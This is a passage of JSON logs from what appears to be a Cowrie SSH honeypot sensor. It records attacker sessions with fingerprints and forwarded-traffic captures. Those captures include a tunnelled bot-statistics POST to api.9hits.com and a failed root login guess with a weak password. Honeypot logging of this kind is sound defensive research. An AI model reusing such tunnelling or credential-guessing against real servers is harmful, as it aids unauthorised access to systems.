\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x06d\\xe4\\x7f\\x1eL!\\x90\\xa4\\x18\\xf07\\xc2:n;a\\x15\\xe9\\x19\\x9ct)\\xb9_\\x1c\\x82\\x1b\\xfd\\x1d,u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":0,"message":"discarded direct-tcp forward request 0 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x89-=-\\xe9\\x16\\xdc\\x0e\\xeb\\xb1$~\\xa1\\xfce(\\xe0\\xb2\\xf8\\xfc\\xf7\\xc51\\x9b\\xae1\\xd8\\x0cZP\\xc4\\x80 \\xcf\\x9e\\xed\\x04\\x13y\\xd9jj\\xa2\\xfa\\xe3\\x91F\\xceY\\xdaH\\xb7\\x8e\\x86\\n\\xb4z\\xc5\\xb7\\xf9\\xa2\\x87\\x91\\x9dc\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x06d\\xe4\\x7f\\x1eL!\\x90\\xa4\\x18\\xf07\\xc2:n;a\\x15\\xe9\\x19\\x9ct)\\xb9_\\x1c\\x82\\x1b\\xfd\\x1d,u\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.297838Z","src_ip":"63.141.242.2","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.302835Z","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.343990Z","src_ip":"63.141.242.2","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/80.0 Mobile/16A404 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1158\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=U0hGNGhhMkQvcS9fKnBWeQ%3D%3DBvilXpzOou5p9%2FF7oxHDB0Q5LWqtwZ9P%2BE4rn9qwVph0wvlxtW%2B1x%2BUJgDQLB7BVQ9GgWVgnlHWva0QH8NCV2wHF2N8Pkteqsx4cBeOIdcracNaQZuAeLiOc7OJgQKvD%2Bq5HvLgQvkaELovfo5x670wXV7guUezK0HK5QdL2U3pP4Uwow3mbR59l6T6YuLbvtDd6La7tQxiKO5v1avFIxcONd9JhTXmK9K1tNHMRgG7PH7lTNHIp%2FiwlHIyhvmyscGER2oKLl5NJQmDedPwypsC60o9bWaxqj9Q5cPfwwKDBCz1VKg%2BEjVHSyJd7LGU00rUP%2FFtr%2F03n9sip%2BpN0F%2BQXTK6Y3Z%2FVyn9%2B7qCbLDLiY2Y9Q%2B6OTBAe8ZLGZXDCG3YaRnNVZzzCg3xYOYPNnk7ehD%2BccNCMPXv8T94sXz6rJ9bpJRUUoxVx%2BkGObGIWwtZIHDwuCsUg53mLa7gZn1J95VVt01OP4XdvMLeT5UOevDqnU7lko%2FSvy0TwilEGRmcn0nTW3LoT4psenE6iOAEEZAx%2F3Bka1BOTgejGo0hmZveM8CQmMhMjdNzU9iBSBGnoDGLfAqcsdRiZm6OW021nyiFMaCiJa1JeZMwV9zCA5Aurp3bSY8r8Q4AHV0EUranmHphDT9EO08oyOsqoojQvKs9eKJN0ZyjgxbXTsauGI66UTA4zw1w8chW2YbSuWiAZJz%2BeBzJsBsrezukqkw5iSd3e%2F%2FuTx157IAsf4WMnFS9Ck1XB1u86G3WAmMmS7aM3ZRguUk4OtiODbxgYF4wpj%2FIkgYLlfYwc9hqsODOYu8i9oITjsSXBQtWl8M26RFU0aQQX2pEb506hkNJ5khEsBxHVlvm8nmMQdmsnl%2BkK3k1JJ6MbiDvj2SQX6pFS0u%2Fb5XShKWgbYDExN0QuQUzJCFRFFQ9GWS2yOlMp%2BNplqVewYOeqdWG7pk6TcTIL5xb%2BWyJGgoAloK6EzH%2BvcndBwTw%2BtBaxr8eZbKxjdFj5RaZXgojPOpWgSWaE3L1VvtfDWnm0sXbtLSUPLn8ia3BWr7xZL%2FZ5pglKdHXiKak%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) FxiOS/80.0 Mobile/16A404 Safari/605.1.15\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: 1158\\r\\nOrigin: http://api.9hits.com\\r\\nConnection: keep-alive\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=U0hGNGhhMkQvcS9fKnBWeQ%3D%3DBvilXpzOou5p9%2FF7oxHDB0Q5LWqtwZ9P%2BE4rn9qwVph0wvlxtW%2B1x%2BUJgDQLB7BVQ9GgWVgnlHWva0QH8NCV2wHF2N8Pkteqsx4cBeOIdcracNaQZuAeLiOc7OJgQKvD%2Bq5HvLgQvkaELovfo5x670wXV7guUezK0HK5QdL2U3pP4Uwow3mbR59l6T6YuLbvtDd6La7tQxiKO5v1avFIxcONd9JhTXmK9K1tNHMRgG7PH7lTNHIp%2FiwlHIyhvmyscGER2oKLl5NJQmDedPwypsC60o9bWaxqj9Q5cPfwwKDBCz1VKg%2BEjVHSyJd7LGU00rUP%2FFtr%2F03n9sip%2BpN0F%2BQXTK6Y3Z%2FVyn9%2B7qCbLDLiY2Y9Q%2B6OTBAe8ZLGZXDCG3YaRnNVZzzCg3xYOYPNnk7ehD%2BccNCMPXv8T94sXz6rJ9bpJRUUoxVx%2BkGObGIWwtZIHDwuCsUg53mLa7gZn1J95VVt01OP4XdvMLeT5UOevDqnU7lko%2FSvy0TwilEGRmcn0nTW3LoT4psenE6iOAEEZAx%2F3Bka1BOTgejGo0hmZveM8CQmMhMjdNzU9iBSBGnoDGLfAqcsdRiZm6OW021nyiFMaCiJa1JeZMwV9zCA5Aurp3bSY8r8Q4AHV0EUranmHphDT9EO08oyOsqoojQvKs9eKJN0ZyjgxbXTsauGI66UTA4zw1w8chW2YbSuWiAZJz%2BeBzJsBsrezukqkw5iSd3e%2F%2FuTx157IAsf4WMnFS9Ck1XB1u86G3WAmMmS7aM3ZRguUk4OtiODbxgYF4wpj%2FIkgYLlfYwc9hqsODOYu8i9oITjsSXBQtWl8M26RFU0aQQX2pEb506hkNJ5khEsBxHVlvm8nmMQdmsnl%2BkK3k1JJ6MbiDvj2SQX6pFS0u%2Fb5XShKWgbYDExN0QuQUzJCFRFFQ9GWS2yOlMp%2BNplqVewYOeqdWG7pk6TcTIL5xb%2BWyJGgoAloK6EzH%2BvcndBwTw%2BtBaxr8eZbKxjdFj5RaZXgojPOpWgSWaE3L1VvtfDWnm0sXbtLSUPLn8ia3BWr7xZL%2FZ5pglKdHXiKak%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.348817Z","src_ip":"63.141.242.2","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"63.141.242.2","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.427793Z","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.475925Z","src_ip":"63.141.242.2","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03S#Oy7C\\xfe\\xc5\\xf2\\x17\\xaf\\x8c[\\xaaWT\\x90\\xac\\t\\xcc\\xbb\\xd2\\xba{V\\xe3\\xc2%\\x8d\\xc5\\x15\\x18 2\\x0f,\\x04\\x0e\\xa2\\xa4\\xb1\\xf1fL\\xbd\\x1a\\x86\\'tP\\x15;\\xd7\\xfc\\x03\\xbc\\x9aAj\\xb6G\\x12ZzW\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 !&\\x028\\xff\\x80z\\xa1L[IZ\\xb6\\x0b\\xcf\\xd9\\xf7\\xb7\\xb244\\xb5\\xba\\x85\\xa9%\\x07y\\xeb\\xb7bo\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03S#Oy7C\\xfe\\xc5\\xf2\\x17\\xaf\\x8c[\\xaaWT\\x90\\xac\\t\\xcc\\xbb\\xd2\\xba{V\\xe3\\xc2%\\x8d\\xc5\\x15\\x18 2\\x0f,\\x04\\x0e\\xa2\\xa4\\xb1\\xf1fL\\xbd\\x1a\\x86\\'tP\\x15;\\xd7\\xfc\\x03\\xbc\\x9aAj\\xb6G\\x12ZzW\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 !&\\x028\\xff\\x80z\\xa1L[IZ\\xb6\\x0b\\xcf\\xd9\\xf7\\xb7\\xb244\\xb5\\xba\\x85\\xa9%\\x07y\\xeb\\xb7bo\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.478864Z","src_ip":"63.141.242.2","session":"a424340f33bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":53390,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7e3c28bae93","protocol":"ssh","message":"New connection: 80.66.85.226:53390 (10.17.0.5:22) [session: b7e3c28bae93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.695631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.699896Z","src_ip":"80.66.85.226","session":"b7e3c28bae93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:34.788823Z","src_ip":"80.66.85.226","session":"b7e3c28bae93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty71","message":"login attempt [root/qwerty71] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:35.058102Z","src_ip":"80.66.85.226","session":"b7e3c28bae93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:36.149675Z","src_ip":"80.66.85.226","session":"b7e3c28bae93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":42080,"dst_ip":"159.203.135.109","dst_port":22,"session":"5969b3a0e4c8","protocol":"ssh","message":"New connection: 41.90.100.147:42080 (159.203.135.109:22) [session: 5969b3a0e4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:37.291931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:37.296486Z","src_ip":"41.90.100.147","session":"5969b3a0e4c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:37.512647Z","src_ip":"41.90.100.147","session":"5969b3a0e4c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.72650384902954,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:23:37.980992Z","src_ip":"94.23.66.112","session":"1479e5b67064","protocol":"telnet"}
